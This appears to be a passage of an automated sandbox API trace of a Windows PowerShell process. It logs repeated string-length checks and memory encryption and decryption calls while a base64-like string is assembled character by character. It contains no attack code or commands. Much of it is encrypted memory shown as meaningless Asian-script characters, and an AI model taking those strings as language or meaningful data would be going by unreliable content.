(param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈襑ṓ瘁\ꃞ䎆ᶖ؜淏暁쓏笕⭋縭囔졢") returned 0x30 [0222.126] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0222.127] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2jG26pZkCye癷울⬱滥쬧") returned 0x30 [0222.127] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0222.127] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈襑ṓ瘁\ꃞ䎆ᶖ؜\僛菊ⷒ鴗竤㒹勅≧) returned 0x30 [0222.127] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈襑ṓ瘁\ꃞ䎆ᶖ؜\僛菊ⷒ鴗竤㒹勅≧) returned 0x30 [0222.127] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0222.127] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2jG26pZkCyeg울⬱滥쬧") returned 0x30 [0222.127] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0222.127] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈襑ṓ瘁\ꃞ䎆ᶖ؜뙙ﵽ菺辆☓ﻠば녘") returned 0x30 [0222.127] SysStringLen (param_1="ᅝ䋝䧕蜔ㅛ鱭೬삅₴ꗭ⃸ᕰ窈墪ྔ屙阵ᵦ瀤㫐ꯗ᫩鹭癡\駝㌺쟴嫈襑ṓ瘁\ꃞ䎆ᶖ؜뙙ﵽ菺辆☓ﻠば녘") returned 0x30 [0222.127] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0222.127] SysStringLen (param_1="YkL1MNxsc7+tkEWGIZE7rHoWBmWdMFQ2jG26pZkCyeg=⬱滥쬧") returned 0x30 [0222.127] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0222.128] EtwEventActivityIdControl () returned 0x0 [0222.128] EtwEventActivityIdControl () returned 0x0 [0222.128] EtwEventActivityIdControl () returned 0x0 [0222.128] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.130] EtwEventActivityIdControl () returned 0x0 [0222.130] EtwEventActivityIdControl () returned 0x0 [0222.130] EtwEventActivityIdControl () returned 0x0 [0222.131] SysStringLen (param_1="") returned 0x8 [0222.131] SysStringLen (param_1="N") returned 0x8 [0222.131] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.131] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0222.131] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0222.131] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.131] SysStringLen (param_1="ND") returned 0x8 [0222.131] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.131] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0222.132] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0222.132] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.132] SysStringLen (param_1="NDZ") returned 0x8 [0222.132] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.132] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0222.132] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0222.132] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.132] SysStringLen (param_1="NDZl") returned 0x8 [0222.132] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.132] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0222.132] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0222.132] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.132] SysStringLen (param_1="NDZlO") returned 0x8 [0222.132] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.133] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0222.133] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0222.133] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.133] SysStringLen (param_1="NDZlOD") returned 0x8 [0222.133] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.133] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0222.133] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0222.133] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.133] SysStringLen (param_1="NDZlODR") returned 0x8 [0222.133] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.133] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0222.133] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0222.133] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.134] SysStringLen (param_1="NDZlODRm") returned 0x8 [0222.134] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0222.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0222.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0222.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0222.134] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.135] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0222.135] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0222.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0222.135] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.135] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0222.135] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0222.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0222.135] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.135] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0222.135] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0222.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0222.136] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.136] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0222.136] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0222.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0222.136] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.136] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0222.136] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0222.136] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0222.136] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.136] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0222.136] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0222.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0222.137] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.137] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0222.137] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0222.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0222.137] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.137] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0222.137] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.137] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0222.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0222.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0222.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0222.138] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.138] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0222.138] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0222.138] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0222.138] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.138] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0222.139] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0222.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0222.139] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.139] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0222.139] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0222.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0222.139] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.139] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0222.139] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0222.139] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0222.139] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.140] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0222.140] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0222.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0222.140] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.140] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0222.140] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0222.140] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0222.140] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.140] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0222.140] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0222.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0222.141] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.141] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0222.141] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0222.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0222.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0222.141] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0222.141] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.142] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0222.142] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0222.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0222.142] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.142] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0222.142] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0222.142] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0222.142] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.142] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0222.142] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0222.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0222.143] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.143] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0222.143] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0222.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0222.143] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.143] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0222.143] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0222.143] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0222.143] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.143] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0222.144] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0222.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0222.144] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.144] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0222.144] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0222.144] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0222.144] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.144] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0222.144] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0222.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0222.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0222.145] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0222.145] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.145] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0222.146] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0222.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0222.146] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.146] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0222.146] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0222.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0222.146] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.146] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0222.146] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0222.146] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0222.146] SystemFunction041 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.147] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0222.147] SystemFunction040 (in: Memory=0x5c921c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c921c4) returned 0x0 [0222.147] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0222.147] SysStringLen 